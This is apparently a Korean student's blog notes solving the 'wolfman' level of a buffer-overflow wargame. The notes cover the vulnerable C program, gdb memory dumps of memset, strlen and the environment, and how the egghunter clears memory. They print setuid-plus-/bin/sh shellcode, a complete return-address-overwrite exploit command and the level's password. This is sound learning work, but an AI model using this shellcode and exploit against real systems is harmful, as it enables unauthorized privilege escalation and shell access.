본문 바로가기
정보보안

정보보안3 7차시

by 뭔가해보겠습니다 2024. 6. 22.

bof

orc 사용자의 wolfman 문제
egghunter + buffer hunter

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[]) {
        char buffer[40];
        int i;
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
        // egghunter
        for(i=0; environ[i]; i++){
                memset(environ[i], 0, strlen(environ[i]));
        }
        if(argv[1][47] != '\xbf') {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

=> argc 조건. 인수가 1개 이상 있어야 한다

=> 환경변수 extern 사용하여 메모리를 채움

=> egghunter : 에그헌터. 메모리에 올라가 있을지도 모르는 에그쉘을 지우는작업

=> argv[1][47] 값이 \xbf 에서 변동되면 종료.

=> 버퍼헌터 : 버퍼에 있을 수 있는 공격코드를 0으로 초기화

 

 

문제를 풀기 앞서 memset 예제

#include <stdio.h>
#include <string.h>
int main(){
    char string[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    memset(string, '0', sizeof(string));
    printf("%s", string);
    return 0;
 }

(gdb) x/8xw string
0xffffd5cd:     0x44434241      0x48474645      0x4c4b4a49      0x504f4e4d
0xffffd5dd:     0x54535251      0x58575655      0x00005a59      0xd3000000
=> string 메모리 조사

memset(string, '0', sizeof(string)); 실행후

(gdb) x/8xw string
0xffffd5cd:     0x30303030      0x30303030      0x30303030      0x30303030
0xffffd5dd:     0x30303030      0x30303030      0x00303030      0xd3000000
=>  '0' 으로 초기화된 것 확인

 

+ printf로 strlen 결과를 출력할 때는 %d가 아니라 %zd가 정확하다

 

 

* strlen 코드의 원리 파악

size_t mystrlen(const char *s){
     size_t length = 0;
     const char *p = s;
     while(*p){
         p++;
         length++;
     }
     return length;
}

3: p = 0xffffd5e0 "1234567"
2: s = 0xffffd5e0 "1234567"
1: length = 0
(gdb) x/4xw  p
0xffffd5e0:     0x34333231      0x00373635      0x00000000      0xf7e1e2d3

3: p = 0xffffd5e1 "234567"
2: s = 0xffffd5e0 "1234567"
1: length = 1
(gdb) x/4xw  p
0xffffd5e1:     0x35343332      0x00003736      0xd3000000      0x01f7e1e2

3: p = 0xffffd5e2 "34567"
2: s = 0xffffd5e0 "1234567"
1: length = 1
(gdb) x/4xw  p
0xffffd5e2:     0x36353433      0x00000037      0xe2d30000      0x0001f7e1

3: p = 0xffffd5e3 "4567"
2: s = 0xffffd5e0 "1234567"
1: length = 2
(gdb) x/4xw  p
0xffffd5e3:     0x37363534      0x00000000      0xe1e2d300      0x000001f7

...
..

3: p = 0xffffd5e7 ""
2: s = 0xffffd5e0 "1234567"
1: length = 6
(gdb) x/4xw  p
0xffffd5e7:     0x00000000      0xe1e2d300      0x000001f7      0xffd68400

 

 

 

if(argv[1][47] != '\xbf') 우회하기

# ./wolfman $(python -c print' "a"*47 + "\bf"');

=> 해당 코드로 실행시키면 if(argv[1][47] != '\xbf') 조건을 만족하여 일단 우회 가능

그러나 마지막에 실행시 복귀주소가 침범되어 에러가 남

 

 

공격용 쉘코드

16byte setuid(geteuid())
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"


25byte /bin/sh
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

41byte(16byte setuid() + 25byte /bin/sh) shell code
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

 

* 환경변수의 메모리 영역이 egghunter에 의해 리셋되는 것을 확인하기


gdb에서 ebp 메모리 조사

(gdb) x/8xw $ebp
0xbffff0e8:     0xbffff108      0x400309cb      0x00000002      0xbffff134
0xbffff0f8:     0xbffff140      0x40013868      0x00000002      0x08048450
                                   └ 환경변수 envp 자리
(gdb) x/32xw 0xbffff140
0xbffff140:     0xbffff27f      0xbffff291      0xbffff2aa      0xbffff2c9
0xbffff150:     0xbffff2eb      0xbffff2fd      0xbffff306      0xbffff4c9
0xbffff160:     0xbffff4e8      0xbffffce8      0xbffffd02      0xbffffd17
0xbffff170:     0xbfffff17      0xbfffff22      0xbfffff2e      0xbfffff37
0xbffff180:     0xbfffff44      0xbfffff52      0xbfffff63      0xbfffff71
0xbffff190:     0xbfffff7f      0xbfffff90      0xbfffff9b      0xbfffffaa
0xbffff1a0:     0x00000000      0x00000003      0x08048034      0x00000004
0xbffff1b0:     0x00000020      0x00000005      0x00000006      0x00000006

(gdb) x/s 0xbffff2c9
0xbffff2c9:      "LESSOPEN=|/usr/bin/lesspipe.sh %s"

(gdb) x/16xw 0xbffff2c9
0xbffff2c9:     0x5353454c      0x4e45504f      0x752f7c3d      0x622f7273
0xbffff2d9:     0x6c2f6e69      0x70737365      0x2e657069      0x25206873
0xbffff2e9:     0x4e450073      0x722f3d56      0x2f746f6f      0x7361622e
0xbffff2f9:     0x00637268      0x52455355      0x63726f3d      0x5f534c00

=> egghunter에 의해 0으로 리셋된 후

(gdb) x/16xw 0xbffff2c9
0xbffff2c9:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff2d9:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff2e9:     0x4e450000      0x722f3d56      0x2f746f6f      0x7361622e
0xbffff2f9:     0x00637268      0x52455355      0x63726f3d      0x5f534c00

 

더보기

(gdb) x/8xw $ebp
0xbfffc9b8:     0xbfffc9d8      0x400309cb      0x00000002      0xbfffca04
0xbfffc9c8:     0xbfffca10      0x40013868      0x00000002      0x08048450

=> ENVP 환경변수 영역을 메모리 조사

 

(gdb) x/12xw 0xbfffca10
0xbfffca10:     0xbffff286      0xbffff294      0xbffff2ad      0xbffff2cc
0xbfffca20:     0xbffff2ee      0xbffff300      0xbffff309      0xbffff4cc
0xbfffca30:     0xbffff4eb      0xbffffceb      0xbffffd05      0xbffffd1a

 

(gdb) x/s 0xbffff4eb
0xbffff4eb:      "EGG=", '\220' <repeats 196 times>...

=> ENVP 배열을 하나씩 꺼내서 EGG가 들어있는 영역을 얻음

 

(gdb) x/512xw 0xbffff4eb
0xbffff4eb:     0x3d474745      0x90909090      0x90909090      0x90909090
...                                              ~    NOP 코드 시작   ~
... 중략
...
0xbffffc9b:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcab:     0xc0319090      0x80cd31b0      0xc189c389      0x46b0c031
0xbffffcbb:     0x1feb80cd      0x0876895e      0x4688c031      0x0c468907
0xbffffccb:     0xf3890bb0      0x8d084e8d      0x80cd0c56      0xd889db31
0xbffffcdb:     0xe880cd40      0xffffffdc      0x6e69622f      0x0068732f

"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh"

=> EGG 영역 메모리조사하여 NOP 코드가 시작되는 것 캐치, NOP 영역 끝날때 쉘코드 확인

 

대충 만바이트 정도 NOP가 이어지다가

공격코드의 \x31이 나오는 부분이 쉘코드 시작 ~ 이어지다가 /bin/sh 문자열로 00 null이 나오면서 끝

 

 

공격코드

 

./wolfman `python -c 'print "A"*44 + "\x88\xf0\xff\xbf" + "\x90"*10000 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

=> ./wolfman `phthon -c print'"아무거나44바이트" + "복귀주소 항목에 들어갈 점프할 주소" + "NOP 코드 10000바이트" + "공격용 쉘코드 41바이트"'`

bash 쉘이 떨어진 것이 확인된다

 

주의점은 복귀주소를 NOP 영역으로 잡되 xbf로 끝나는 주소로 해야함

 

 

wolfman 비밀번호는 love eyuna

 

 

'정보보안' 카테고리의 다른 글

정보보안4 1차시  (0) 2024.06.29
정보보안3 8차시  (0) 2024.06.23
eggshell 추후 분석  (0) 2024.06.22
정보보안3 6차시  (0) 2024.06.16
정보보안3 5차시  (0) 2024.06.15